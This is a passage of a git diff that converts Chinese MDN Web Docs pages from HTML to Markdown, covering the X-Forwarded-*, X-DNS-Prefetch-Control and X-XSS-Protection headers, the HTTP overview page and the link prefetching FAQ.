    强制对域名进行预读取在一些情况下很有用,比如,在网站的主页上,强制在整个网站上频繁引用的域名的预解析,即使它们不在主页本身上使用。即使主页的性能可能不受影响,这将提高整体站点性能。

    +强制对域名进行预读取在一些情况下很有用,比如,在网站的主页上,强制在整个网站上频繁引用的域名的预解析,即使它们不在主页本身上使用。即使主页的性能可能不受影响,这将提高整体站点性能。 -

    浏览器兼容性

    +## 浏览器兼容性 +{{Compat("http.headers.X-DNS-Prefetch-Control")}} +## 参考 -

    {{Compat("http.headers.X-DNS-Prefetch-Control")}}

    - -

    参考

    - - +- [DNS Prefetching for Firefox (blog post)](http://bitsup.blogspot.com/2008/11/dns-prefetching-for-firefox.html) +- [Google Chrome handles DNS prefetching control](http://dev.chromium.org/developers/design-documents/dns-prefetching) diff --git a/files/zh-cn/web/http/headers/x-forwarded-for/index.md b/files/zh-cn/web/http/headers/x-forwarded-for/index.md index 51173bf73a6218..8865e5bdd421cd 100644 --- a/files/zh-cn/web/http/headers/x-forwarded-for/index.md +++ b/files/zh-cn/web/http/headers/x-forwarded-for/index.md @@ -7,66 +7,57 @@ tags: - 首部 translation_of: Web/HTTP/Headers/X-Forwarded-For --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    X-Forwarded-For (XFF) 在客户端访问服务器的过程中如果需要经过 HTTP 代理或者负载均衡服务器,可以被用来获取最初发起请求的客户端的 IP 地址,这个消息首部成为事实上的标准。在消息流从客户端流向服务器的过程中被拦截的情况下,服务器端的访问日志只能记录代理服务器或者负载均衡服务器的 IP 地址。如果想要获得最初发起请求的客户端的 IP 地址的话,那么 X-Forwarded-For 就派上了用场。

    +**`X-Forwarded-For`** (XFF) 在客户端访问服务器的过程中如果需要经过 HTTP 代理或者负载均衡服务器,可以被用来获取最初发起请求的客户端的 IP 地址,这个消息首部成为事实上的标准。在消息流从客户端流向服务器的过程中被拦截的情况下,服务器端的访问日志只能记录代理服务器或者负载均衡服务器的 IP 地址。如果想要获得最初发起请求的客户端的 IP 地址的话,那么 X-Forwarded-For 就派上了用场。 -

    这个消息首部会被用来进行调试和统计,以及生成基于位置的定制化内容,按照设计的目的,它会暴露一定的隐私和敏感信息,比如客户端的 IP 地址。所以在应用此消息首部的时候,需要将用户的隐私问题考虑在内。

    +这个消息首部会被用来进行调试和统计,以及生成基于位置的定制化内容,按照设计的目的,它会暴露一定的隐私和敏感信息,比如客户端的 IP 地址。所以在应用此消息首部的时候,需要将用户的隐私问题考虑在内。 -

    HTTP 协议中的 {{HTTPHeader("Forwarded")}} 是这个消息首部的标准化版本。

    +HTTP 协议中的 {{HTTPHeader("Forwarded")}} 是这个消息首部的标准化版本。 -

    X-Forwarded-For 也是一个电子邮件相关协议中用到的首部,用来表示一封电子邮件是从其他账户转发过来的。

    +`X-Forwarded-For `也是一个电子邮件相关协议中用到的首部,用来表示一封电子邮件是从其他账户转发过来的。 - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    X-Forwarded-For: <client>, <proxy1>, <proxy2>
    -
    +```plain +X-Forwarded-For: , , +``` -

    指令

    +## 指令 -
    -
    <client>
    -
    客户端的 IP 地址。
    -
    <proxy1>, <proxy2>
    -
    如果一个请求经过了多个代理服务器,那么每一个代理服务器的 IP 地址都会被依次记录在内。也就是说,最右端的 IP 地址表示最近通过的代理服务器,而最左端的 IP 地址表示最初发起请求的客户端的 IP 地址。
    -
    +- \ + - : 客户端的 IP 地址。 +- \, \ + - : 如果一个请求经过了多个代理服务器,那么每一个代理服务器的 IP 地址都会被依次记录在内。也就是说,最右端的 IP 地址表示最近通过的代理服务器,而最左端的 IP 地址表示最初发起请求的客户端的 IP 地址。 -

    示例

    +## 示例 -
    X-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348
    +```plain
    +X-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348
     
     X-Forwarded-For: 203.0.113.195
     
     X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178
    -
    +``` -

    其他非标准形式:

    +其他非标准形式: -
    # Used for some Google services
    -X-ProxyUser-Ip: 203.0.113.19
    +```plain +# Used for some Google services +X-ProxyUser-Ip: 203.0.113.19 +``` -

    规范

    +## 规范 -

    不属于任何一份既有规范。这个消息首部的标准版本是 {{HTTPHeader("Forwarded")}}.

    +不属于任何一份既有规范。这个消息首部的标准版本是 {{HTTPHeader("Forwarded")}}. -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("Forwarded")}}
    • -
    • {{HTTPHeader("X-Forwarded-Host")}}
    • -
    • {{HTTPHeader("X-Forwarded-Proto")}}
    • -
    • {{HTTPHeader("Via")}}
    • -
    +- {{HTTPHeader("Forwarded")}} +- {{HTTPHeader("X-Forwarded-Host")}} +- {{HTTPHeader("X-Forwarded-Proto")}} +- {{HTTPHeader("Via")}} diff --git a/files/zh-cn/web/http/headers/x-forwarded-host/index.md b/files/zh-cn/web/http/headers/x-forwarded-host/index.md index d2e46647083963..8d063e11dbf8dc 100644 --- a/files/zh-cn/web/http/headers/x-forwarded-host/index.md +++ b/files/zh-cn/web/http/headers/x-forwarded-host/index.md @@ -10,55 +10,44 @@ tags: - 首部 translation_of: Web/HTTP/Headers/X-Forwarded-Host --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    The X-Forwarded-Host (XFH) 是一个事实上的标准首部,用来确定客户端发起的请求中使用 {{HTTPHeader("Host")}} 指定的初始域名。

    +The **`X-Forwarded-Host`** (XFH) 是一个事实上的标准首部,用来确定客户端发起的请求中使用 {{HTTPHeader("Host")}} 指定的初始域名。 -

    反向代理(如负载均衡服务器、CDN 等)的域名或端口号可能会与处理请求的源头服务器有所不同,在这种情况下,X-Forwarded-Host 可以用来确定哪一个域名是最初被用来访问的。

    +反向代理(如负载均衡服务器、CDN 等)的域名或端口号可能会与处理请求的源头服务器有所不同,在这种情况下,X-Forwarded-Host 可以用来确定哪一个域名是最初被用来访问的。 -

    这个消息首部会被用来进行调试和统计,以及生成基于位置的定制化内容,按照设计的目的,它会暴露一定的隐私和敏感信息,比如客户端的 IP 地址。所以在应用此消息首部的时候,需要将用户的隐私问题考虑在内。

    +这个消息首部会被用来进行调试和统计,以及生成基于位置的定制化内容,按照设计的目的,它会暴露一定的隐私和敏感信息,比如客户端的 IP 地址。所以在应用此消息首部的时候,需要将用户的隐私问题考虑在内。 -

    HTTP 协议中的 {{HTTPHeader("Forwarded")}} 是这个消息首部的标准化版本。

    +HTTP 协议中的 {{HTTPHeader("Forwarded")}} 是这个消息首部的标准化版本。 - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    X-Forwarded-Host: <host>
    -
    +```plain +X-Forwarded-Host: +``` -

    指令

    +## 指令 -
    -
    <host>
    -
    被转发的服务器的域名。
    -
    +- \ + - : 被转发的服务器的域名。 -

    示例

    +## 示例 -
    X-Forwarded-Host: id42.example-cdn.com
    -
    +```plain +X-Forwarded-Host: id42.example-cdn.com +``` -

    规范

    +## 规范 -

    不属于任何一份既有规范。这个消息首部的标准版本是 {{HTTPHeader("Forwarded")}}.

    +不属于任何一份既有规范。这个消息首部的标准版本是 {{HTTPHeader("Forwarded")}}. -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("Host")}}
    • -
    • {{HTTPHeader("Forwarded")}}
    • -
    • {{HTTPHeader("X-Forwarded-For")}}
    • -
    • {{HTTPHeader("X-Forwarded-Proto")}}
    • -
    +- {{HTTPHeader("Host")}} +- {{HTTPHeader("Forwarded")}} +- {{HTTPHeader("X-Forwarded-For")}} +- {{HTTPHeader("X-Forwarded-Proto")}} diff --git a/files/zh-cn/web/http/headers/x-forwarded-proto/index.md b/files/zh-cn/web/http/headers/x-forwarded-proto/index.md index 0d642c99270507..b741fd06e01c8a 100644 --- a/files/zh-cn/web/http/headers/x-forwarded-proto/index.md +++ b/files/zh-cn/web/http/headers/x-forwarded-proto/index.md @@ -7,59 +7,50 @@ tags: - 非标准化 translation_of: Web/HTTP/Headers/X-Forwarded-Proto --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    X-Forwarded-Proto (XFP) 是一个事实上的标准首部,用来确定客户端与代理服务器或者负载均衡服务器之间的连接所采用的传输协议(HTTP 或 HTTPS)。在服务器的访问日志中记录的是负载均衡服务器与服务器之间的连接所使用的传输协议,而非客户端与负载均衡服务器之间所使用的协议。为了确定客户端与负载均衡服务器之间所使用的协议, X-Forwarded-Proto 就派上了用场。

    +**`X-Forwarded-Proto`** (XFP) 是一个事实上的标准首部,用来确定客户端与代理服务器或者负载均衡服务器之间的连接所采用的传输协议(HTTP 或 HTTPS)。在服务器的访问日志中记录的是负载均衡服务器与服务器之间的连接所使用的传输协议,而非客户端与负载均衡服务器之间所使用的协议。为了确定客户端与负载均衡服务器之间所使用的协议, X-Forwarded-Proto 就派上了用场。 -

    HTTP 协议中的 {{HTTPHeader("Forwarded")}} 是这个消息首部的标准化版本。

    +HTTP 协议中的 {{HTTPHeader("Forwarded")}} 是这个消息首部的标准化版本。 - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    X-Forwarded-Proto: <protocol>
    -
    +```plain +X-Forwarded-Proto: +``` -

    指令

    +## 指令 -
    -
    <protocol>
    -
    经过转发的传输协议(http 或 https)。
    -
    +- \ + - : 经过转发的传输协议(http 或 https)。 -

    示例

    +## 示例 -
    X-Forwarded-Proto: https
    +```plain +X-Forwarded-Proto: https +``` -

    其他非标准形式:

    +其他非标准形式: -
    # Microsoft
    +```plain
    +# Microsoft
     Front-End-Https: on
     
     X-Forwarded-Protocol: https
     X-Forwarded-Ssl: on
     X-Url-Scheme: https
    -
    +``` -

    规范

    +## 规范 -

    不属于任何一份既有规范。这个消息首部的标准版本是 {{HTTPHeader("Forwarded")}}.

    +不属于任何一份既有规范。这个消息首部的标准版本是 {{HTTPHeader("Forwarded")}}. -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("Forwarded")}}
    • -
    • {{HTTPHeader("X-Forwarded-For")}}
    • -
    • {{HTTPHeader("X-Forwarded-Host")}}
    • -
    +- {{HTTPHeader("Forwarded")}} +- {{HTTPHeader("X-Forwarded-For")}} +- {{HTTPHeader("X-Forwarded-Host")}} diff --git a/files/zh-cn/web/http/headers/x-xss-protection/index.md b/files/zh-cn/web/http/headers/x-xss-protection/index.md index 07a7952c5ac917..547120e2e1de80 100644 --- a/files/zh-cn/web/http/headers/x-xss-protection/index.md +++ b/files/zh-cn/web/http/headers/x-xss-protection/index.md @@ -6,77 +6,71 @@ tags: - 跨站脚本攻击 translation_of: Web/HTTP/Headers/X-XSS-Protection --- -
    {{HTTPSidebar}}
    - -

    HTTP X-XSS-Protection 响应头是 Internet Explorer,Chrome 和 Safari 的一个特性,当检测到跨站脚本攻击 ({{Glossary("XSS")}}) 时,浏览器将停止加载页面。若网站设置了良好的 {{HTTPHeader("Content-Security-Policy")}} 来禁用内联 JavaScript ('unsafe-inline'),现代浏览器不太需要这些保护, 但其仍然可以为尚不支持 {{Glossary("CSP")}} 的旧版浏览器的用户提供保护。

    - - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    - -

    语法

    - -
    X-XSS-Protection: 0
    +{{HTTPSidebar}}
    +
    +HTTP **`X-XSS-Protection`** 响应头是 Internet Explorer,Chrome 和 Safari 的一个特性,当检测到跨站脚本攻击 ({{Glossary("XSS")}}) 时,浏览器将停止加载页面。若网站设置了良好的 {{HTTPHeader("Content-Security-Policy")}} 来禁用内联 JavaScript (`'unsafe-inline'`),现代浏览器不太需要这些保护, 但其仍然可以为尚不支持 {{Glossary("CSP")}} 的旧版浏览器的用户提供保护。
    +
    +| Header type                                      | {{Glossary("Response header")}} |
    +| ------------------------------------------------ | ---------------------------------------- |
    +| {{Glossary("Forbidden header name")}} | no                                       |
    +
    +## 语法
    +
    +```plain
    +X-XSS-Protection: 0
     X-XSS-Protection: 1
     X-XSS-Protection: 1; mode=block
    -X-XSS-Protection: 1; report=<reporting-uri>
    -
    +X-XSS-Protection: 1; report= +``` -
    -
    0
    -
    禁止 XSS 过滤。
    -
    1
    -
    启用 XSS 过滤(通常浏览器是默认的)。 如果检测到跨站脚本攻击,浏览器将清除页面(删除不安全的部分)。
    -
    1;mode=block
    -
    启用 XSS 过滤。 如果检测到攻击,浏览器将不会清除页面,而是阻止页面加载。
    -
    1; report=<reporting-URI> (Chromium only)
    -
    启用 XSS 过滤。 如果检测到跨站脚本攻击,浏览器将清除页面并使用 CSP {{CSP("report-uri")}}指令的功能发送违规报告。
    -
    +- 0 + - : 禁止 XSS 过滤。 +- 1 + - : 启用 XSS 过滤(通常浏览器是默认的)。 如果检测到跨站脚本攻击,浏览器将清除页面(删除不安全的部分)。 +- 1;mode=block + - : 启用 XSS 过滤。 如果检测到攻击,浏览器将不会清除页面,而是阻止页面加载。 +- 1; report=\ (Chromium only) + - : 启用 XSS 过滤。 如果检测到跨站脚本攻击,浏览器将清除页面并使用 CSP {{CSP("report-uri")}}指令的功能发送违规报告。 -

    范例

    +## 范例 -

    当检测到 XSS 攻击时阻止页面加载:

    +当检测到 XSS 攻击时阻止页面加载: -
    X-XSS-Protection: 1;mode=block
    +```bash +X-XSS-Protection: 1;mode=block +``` -

    PHP

    +PHP -
    header("X-XSS-Protection: 1; mode=block");
    +```php +header("X-XSS-Protection: 1; mode=block"); +``` -

    Apache (.htaccess)

    +Apache (.htaccess) -
    <IfModule mod_headers.c>
    +```bash
    +
       Header set X-XSS-Protection "1; mode=block"
    -</IfModule>
    + +``` -

    Nginx

    +Nginx -
    add_header "X-XSS-Protection" "1; mode=block";
    +```bash +add_header "X-XSS-Protection" "1; mode=block"; +``` -

    规范

    +## 规范 -

    不属于任何一个规范或草案的一部分。

    +不属于任何一个规范或草案的一部分。 -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat("http.headers.X-XSS-Protection")}}

    +{{Compat("http.headers.X-XSS-Protection")}} -

    了解更多

    +## 了解更多 - +- {{HTTPHeader("Content-Security-Policy")}} +- [Controlling the XSS Filter – Microsoft](https://blogs.msdn.microsoft.com/ieinternals/2011/01/31/controlling-the-xss-filter/) +- [Understanding XSS Auditor – Virtue Security](https://www.virtuesecurity.com/blog/understanding-xss-auditor/) +- [The misunderstood X-XSS-Protection – blog.innerht.ml](http://blog.innerht.ml/the-misunderstood-x-xss-protection/) diff --git a/files/zh-cn/web/http/index.md b/files/zh-cn/web/http/index.md index 8e7c6d075779cf..a6a1741bcf8cec 100644 --- a/files/zh-cn/web/http/index.md +++ b/files/zh-cn/web/http/index.md @@ -6,71 +6,59 @@ tags: - TCP/IP - Web - Web 开发 - - 'l10n:priority' + - l10n:priority - 参考 translation_of: Web/HTTP --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    超文本传输协议(HTTP)是一个用于传输超媒体文档(例如 HTML)的应用层协议。它是为 Web 浏览器与 Web 服务器之间的通信而设计的,但也可以用于其他目的。HTTP 遵循经典的客户端 - 服务端模型,客户端打开一个连接以发出请求,然后等待直到收到服务器端响应。HTTP 是无状态协议,这意味着服务器不会在两个请求之间保留任何数据(状态)。尽管通常基于 TCP/IP 层,但它可以在任何可靠的传输层上使用,也就是说,该协议不会像 UDP 那样静默的丢失消息。RUDP——作为 UDP 的可靠化升级版本——是一种合适的替代选择。

    +**_超文本传输协议(HTTP)_**是一个用于传输超媒体文档(例如 HTML)的[应用层](https://en.wikipedia.org/wiki/Application_Layer)协议。它是为 Web 浏览器与 Web 服务器之间的通信而设计的,但也可以用于其他目的。HTTP 遵循经典的[客户端 - 服务端模型](https://en.wikipedia.org/wiki/Client%E2%80%93server_model),客户端打开一个连接以发出请求,然后等待直到收到服务器端响应。HTTP 是[无状态协议](http://en.wikipedia.org/wiki/Stateless_protocol),这意味着服务器不会在两个请求之间保留任何数据(状态)。尽管通常基于 TCP/IP 层,但它可以在任何可靠的[传输层](https://zh.wikipedia.org/wiki/%E4%BC%A0%E8%BE%93%E5%B1%82)上使用,也就是说,该协议不会像 UDP 那样静默的丢失消息。[RUDP](https://en.wikipedia.org/wiki/Reliable_User_Datagram_Protocol)——作为 UDP 的可靠化升级版本——是一种合适的替代选择。 -
    -
    -

    教程

    +## 教程 -

    通过以下指南和教程来学习如何使用 HTTP。

    +通过以下指南和教程来学习如何使用 HTTP。 -
    -
    HTTP 概述
    -
    介绍了客户端 - 服务器端协议的基本特征:它能够做什么以及它的设计意图。
    -
    HTTP 缓存
    -
    缓存对高速 Web 站点来说是非常之重要的。这篇文章阐述了不同种类的缓存以及如何配置 HTTP Headers 来控制它们。
    -
    HTTP Cookie
    -
    RFC 6265 定义了 cookie 的工作方式。在处理 HTTP 请求时,服务器可以在 HTTP 响应头中通过 HTTP Headers Set-Cookie 为客户端设置 cookie。然后,对于同一服务器发起的每一个请求,客户端都会在 HTTP 请求头中以字段 Cookie 的形式将 cookie 的值发送过去。也可以将 cookie 设置为在特定日期过期,或限制为特定的域和路径。
    -
    跨域资源共享(CORS)
    -
    跨站点 HTTP 请求就是从另一个域名,而不是资源所在的域名发起的 HTTP 请求。举例来说,在域名 A (http://domaina.example/) 的 HTML 页面上使用 img 元素 (<img src="http://domainb.foo/image.jpg">) 来请求域名 B (http://domainb.foo/) 上的图片资源。这在当今的 Web 页面上是很常见的 —— 加载跨站点资源,包括 CSS 样式表,图片,脚本和其他资源。CORS 允许 Web 开发人员控制其站点对跨站点请求的反应。
    -
    HTTP 的演变
    -
    简单描述了从早期版本的 HTTP 到现代 HTTP/2,新兴的 HTTP/3 以及未来版本的 HTTP 这个过程中发生的变更。
    -
    Mozilla Web 安全准则
    -
    一系列用于帮助运营团队创建安全的 Web 应用程序的技巧。
    -
    HTTP 消息
    -
    描述了 HTTP/1.x 和 HTTP/2 中不同种类消息的类型和结构。
    -
    典型的 HTTP 会话
    -
    展现并解释了一个常见 HTTP 会话的流程。
    -
    HTTP/1.x 中的连接管理
    -
    描述了在 HTTP/1.x 中的三种连接管理模型,以及它们的优点和缺点。
    -
    -
    +- [HTTP 概述](/zh-CN/docs/Web/HTTP/Overview) + - : 介绍了客户端 - 服务器端协议的基本特征:它能够做什么以及它的设计意图。 +- [HTTP 缓存](/zh-CN/docs/Web/HTTP/Caching_FAQ) + - : 缓存对高速 Web 站点来说是非常之重要的。这篇文章阐述了不同种类的缓存以及如何配置 HTTP Headers 来控制它们。 +- [HTTP Cookie](/zh-CN/docs/Web/HTTP/Cookies) + - : [RFC 6265](http://tools.ietf.org/html/rfc6265) 定义了 cookie 的工作方式。在处理 HTTP 请求时,服务器可以在 HTTP 响应头中通过 HTTP Headers `Set-Cookie` 为客户端设置 cookie。然后,对于同一服务器发起的每一个请求,客户端都会在 HTTP 请求头中以字段 `Cookie` 的形式将 cookie 的值发送过去。也可以将 cookie 设置为在特定日期过期,或限制为特定的域和路径。 +- [跨域资源共享(CORS)](/zh-CN/docs/Web/HTTP/Access_control_CORS) + - : **跨站点 HTTP 请求**就是从**另一个域名**,而不是资源所在的域名发起的 HTTP 请求。举例来说,在域名 A (`http://domaina.example/`) 的 HTML 页面上使用 `img` 元素 (``) 来请求域名 B (http\://domainb.foo/) 上的图片资源。这在当今的 Web 页面上是很常见的 —— 加载跨站点资源,包括 CSS 样式表,图片,脚本和其他资源。CORS 允许 Web 开发人员控制其站点对跨站点请求的反应。 +- [HTTP 的演变](/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP) + - : 简单描述了从早期版本的 HTTP 到现代 HTTP/2,新兴的 HTTP/3 以及未来版本的 HTTP 这个过程中发生的变更。 +- [Mozilla Web 安全准则](https://wiki.mozilla.org/Security/Guidelines/Web_Security) + - : 一系列用于帮助运营团队创建安全的 Web 应用程序的技巧。 +- [HTTP 消息](/zh-CN/docs/Web/HTTP/Messages) + - : 描述了 HTTP/1.x 和 HTTP/2 中不同种类消息的类型和结构。 +- [典型的 HTTP 会话](/zh-CN/docs/Web/HTTP/Session) + - : 展现并解释了一个常见 HTTP 会话的流程。 +- [HTTP/1.x 中的连接管理](/zh-CN/docs/Web/HTTP/Connection_management_in_HTTP_1.x) + - : 描述了在 HTTP/1.x 中的三种连接管理模型,以及它们的优点和缺点。 -
    -

    参考

    +## 参考 -

    浏览详细的 HTTP 参考文档。

    +浏览详细的 HTTP 参考文档。 -
    -
    HTTP 头
    -
    HTTP 消息头用于描述资源或服务器或客户端的行为。可以使用 X- 前缀添加自定义专有头。其他的可以在 IANA registry 中找到,其原始定义在 RFC 4229。IANA 同时也维护着一份 registry of proposed new HTTP message headers
    -
    HTTP 请求方式
    -
    可以使用 HTTP: {{HTTPMethod("GET")}},{{HTTPMethod("POST")}} 方式来完成不同操作,或是一些不太常见的请求方式,像是: {{HTTPMethod("OPTIONS")}},{{HTTPMethod("DELETE")}} 和 {{HTTPMethod("TRACE")}}。
    -
    HTTP 状态码
    -
    HTTP 状态码用来表示特定的 HTTP 请求是否已成功完成。响应分为五类:消息响应,成功响应,重定向,客户端错误和服务器错误。
    -
    CSP 指令
    -
    {{HTTPHeader("Content-Security-Policy")}} 响应报头字段允许网站管理员控制页面上哪些资源能够被用户代理程序加载。除了少数例外,此策略主要涉及指定服务器来源和脚本终端。
    -
    +- [HTTP 头](/zh-CN/docs/Web/HTTP/Headers) + - : HTTP 消息头用于描述资源或服务器或客户端的行为。可以使用 `X-` 前缀添加自定义专有头。其他的可以在 [IANA registry](https://www.iana.org/assignments/message-headers/message-headers.xhtml#perm-headers) 中找到,其原始定义在 [RFC 4229](https://tools.ietf.org/html/rfc4229)。IANA 同时也维护着一份 [registry of proposed new HTTP message headers](https://www.iana.org/assignments/message-headers/message-headers.xhtml#prov-headers)。 +- [HTTP 请求方式](/zh-CN/docs/Web/HTTP/Methods) + - : 可以使用 HTTP: {{HTTPMethod("GET")}},{{HTTPMethod("POST")}} 方式来完成不同操作,或是一些不太常见的请求方式,像是: {{HTTPMethod("OPTIONS")}},{{HTTPMethod("DELETE")}} 和 {{HTTPMethod("TRACE")}}。 +- [HTTP 状态码](/zh-CN/docs/Web/HTTP/Response_codes) + - : HTTP 状态码用来表示特定的 HTTP 请求是否已成功完成。响应分为五类:消息响应,成功响应,重定向,客户端错误和服务器错误。 +- [CSP 指令](/zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy) + - : {{HTTPHeader("Content-Security-Policy")}} 响应报头字段允许网站管理员控制页面上哪些资源能够被用户代理程序加载。除了少数例外,此策略主要涉及指定服务器来源和脚本终端。 -

    工具与资源

    +## 工具与资源 -

    有助于了解和调试 HTTP 的工具和资源。

    +有助于了解和调试 HTTP 的工具和资源。 -
    -
    Firefox 开发者工具
    -
    网络监视器
    -
    Mozilla Observatory
    -
    一个旨在帮助开发人员,系统管理员和安全专业人员安全地配置其站点的项目。
    -
    RedBot
    -
    用于检查与缓存相关的 HTTP 头的工具。
    -
    浏览器的工作原理
    -
    一篇非常全面的关于浏览器内部实现与通过 HTTP 协议的请求流的文章。可以说是所有 Web 开发者的必读内容
    -
    -
    -
    +- [Firefox 开发者工具](/zh-CN/docs/Tools) + - : [网络监视器](/zh-CN/docs/Tools/Network_Monitor) +- [Mozilla Observatory](https://observatory.mozilla.org/) + - : 一个旨在帮助开发人员,系统管理员和安全专业人员安全地配置其站点的项目。 +- [RedBot](https://redbot.org/) + - : 用于检查与缓存相关的 HTTP 头的工具。 +- [浏览器的工作原理](https://www.html5rocks.com/en/tutorials/internals/howbrowserswork/) + - : 一篇非常全面的关于浏览器内部实现与通过 HTTP 协议的请求流的文章。可以说是所有 Web 开发者的**必读内容**。 diff --git a/files/zh-cn/web/http/link_prefetching_faq/index.md b/files/zh-cn/web/http/link_prefetching_faq/index.md index 86452e5286ca91..3f75fcdcceaeed 100644 --- a/files/zh-cn/web/http/link_prefetching_faq/index.md +++ b/files/zh-cn/web/http/link_prefetching_faq/index.md @@ -8,116 +8,123 @@ tags: - 性能 translation_of: Web/HTTP/Link_prefetching_FAQ --- - +### 什么是链接预取? -

    链接预取是一种浏览器机制,其利用浏览器空闲时间来下载或预取用户在不久的将来可能访问的文档。网页向浏览器提供一组预取提示,并在浏览器完成当前页面的加载后开始静默地拉取指定的文档并将其存储在缓存中。当用户访问其中一个预取文档时,便可以快速的从浏览器缓存中得到。

    +链接预取是一种浏览器机制,其利用浏览器空闲时间来下载或预取用户在不久的将来可能访问的文档。网页向浏览器提供一组预取提示,并在浏览器完成当前页面的加载后开始静默地拉取指定的文档并将其存储在缓存中。当用户访问其中一个预取文档时,便可以快速的从浏览器缓存中得到。 -

    预取是否使用 HTTPS?

    +### 预取是否使用 HTTPS? -

    从 Gecko 1.9.1 (Firefox 3.5) 开始,支持获取 https 内容。

    +从 Gecko 1.9.1 (Firefox 3.5) 开始,支持获取 https 内容。 -

    什么是预取提示?

    +### 什么是预取提示? -

    浏览器会查找关系类型 (rel) 为 next 或 prefetch 的 HTML{{ HTMLElement("link") }} 或 HTTP Link: header。下面是一个使用 link 标签的例子:

    +浏览器会查找关系类型 (rel) 为 next 或 prefetch 的 HTML{{ HTMLElement("link") }} 或 [HTTP `Link:` header](/zh-CN/docs/Web/HTTP/Headers)。下面是一个使用 link 标签的例子: -
    <link rel="prefetch" href="/images/big.jpeg">
    -
    +```plain + +``` -

    同样效果的使用 HTTP Link: header 的例子:

    +同样效果的使用 HTTP Link: header 的例子: -
    Link: </images/big.jpeg>; rel=prefetch
    -
    +```plain +Link: ; rel=prefetch +``` -

    Link: header 也可以通过使用 HTML meta 标签定义在 HTML 文档中:

    +Link: header 也可以通过使用 HTML meta 标签定义在 HTML 文档中: -
    <meta http-equiv="Link" content="</images/big.jpeg>; rel=prefetch">
    -
    +```plain + +``` -

    Link: header 的格式在 RFC 5988 section 5 中有所描述。

    +`Link:` header 的格式在 [RFC 5988](http://tools.ietf.org/html/rfc5988) section 5 中有所描述。 -

    浏览器检查所有这些预取提示,并将每一个独立的请求排到队列之中,然后浏览器空闲时将对这些请求进行预取。每个页面都可以有多个预取提示,因为预取多个文档是合理的。例如,未来要访问的页面可能包含多张大图。

    +浏览器检查所有这些预取提示,并将每一个独立的请求排到队列之中,然后浏览器空闲时将对这些请求进行预取。每个页面都可以有多个预取提示,因为预取多个文档是合理的。例如,未来要访问的页面可能包含多张大图。 -

    下面是更多例子:

    +下面是更多例子: -
    <link rel="prefetch alternate stylesheet" title="Designed for Mozilla" href="mozspecific.css">
    -<link rel="next" href="2.html">
    -
    +```plain + + +``` -

    a 标签 (<a>) 会被预取吗?

    +### a 标签 (\) 会被预取吗? -

    不会,只有带有关系类型为 next 或 prefetch 的 <link> 标签会被预拉取。但是,如果该特性收到足够的关注,我们在未来可能会支持带有关系类型为 next 或 prefetch 的 <a> 标签的预取。这样做可能会帮助内容提供者避免预取内容过期的问题。

    +不会,只有带有关系类型为 next 或 prefetch 的 \ 标签会被预拉取。但是,如果该特性收到足够的关注,我们在未来可能会支持带有关系类型为 next 或 prefetch 的 \
    标签的预取。这样做可能会帮助内容提供者避免预取内容过期的问题。 - +### 链接预取是符合规范的吗? -

    是的,本文档中描述的链接预取和现有 web 规范不冲突。实际上,在 HTML 4.01 规范允许定义新的 link type(参见 章节 6.12:Like types)。但是 Mozilla 采用的具体处理机制还没有确定规范。一份互联网草案正在准备中。

    +是的,本文档中描述的链接预取和现有 web 规范不冲突。实际上,在 HTML 4.01 规范允许定义新的 link type(参见 [章节 6.12:Like types](http://www.w3.org/TR/html4/types.html#type-links))。但是 Mozilla 采用的具体处理机制还没有确定规范。一份互联网草案正在准备中。 -

    本特性的规范属于 HTML 5 的一部分,参见最新的工作草案,章节 §5.11.3.13. Link type "prefetch"

    +本特性的规范属于 HTML 5 的一部分,参见最新的工作草案,[章节 §5.11.3.13. Link type "prefetch"](http://www.whatwg.org/specs/web-apps/current-work/#link-type-prefetch)。 -

    浏览器的空闲时间是如何确定的?

    +### 浏览器的空闲时间是如何确定的? -

    在目前 (Moilla 1.2),空闲时间的确定是通过 nsIWebProgressListener API 实现的。我们在顶层 nsIWebProgress 对象 ("@mozilla.org/docloaderservice;1") 上附加了一个监听器。通过监听器,我们能够收到文档开始和停止的通知,从而将最后一个文档停止到下一个文档开始之间的间隔作为空闲时间的近似值。最后一个文档停止的通知大致会在顶层文档的 onLoad 方法即将被触发时发出。此时即是开始预取的时间点。如果一个子文档包含了预取提示,这些预取操作将会等到最顶层文档和其子文档完成加载后才会开始进行。

    +在目前 (Moilla 1.2),空闲时间的确定是通过 `nsIWebProgressListener` API 实现的。我们在顶层 `nsIWebProgress 对象` ("@[mozilla.org/docloaderservice;1](http://mozilla.org/docloaderservice;1)") 上附加了一个监听器。通过监听器,我们能够收到文档开始和停止的通知,从而将最后一个文档停止到下一个文档开始之间的间隔作为空闲时间的近似值。最后一个文档停止的通知大致会在顶层文档的 onLoad 方法即将被触发时发出。此时即是开始预取的时间点。如果一个子文档包含了预取提示,这些预取操作将会等到最顶层文档和其子文档完成加载后才会开始进行。 - +### 资源正在被预载时点击了某个链接会发生什么? -

